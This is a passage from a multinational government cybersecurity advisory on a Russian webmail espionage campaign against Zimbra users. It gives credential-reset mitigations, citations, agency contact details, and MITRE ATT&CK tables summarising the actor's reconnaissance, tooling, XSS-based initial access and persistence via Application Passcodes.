<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
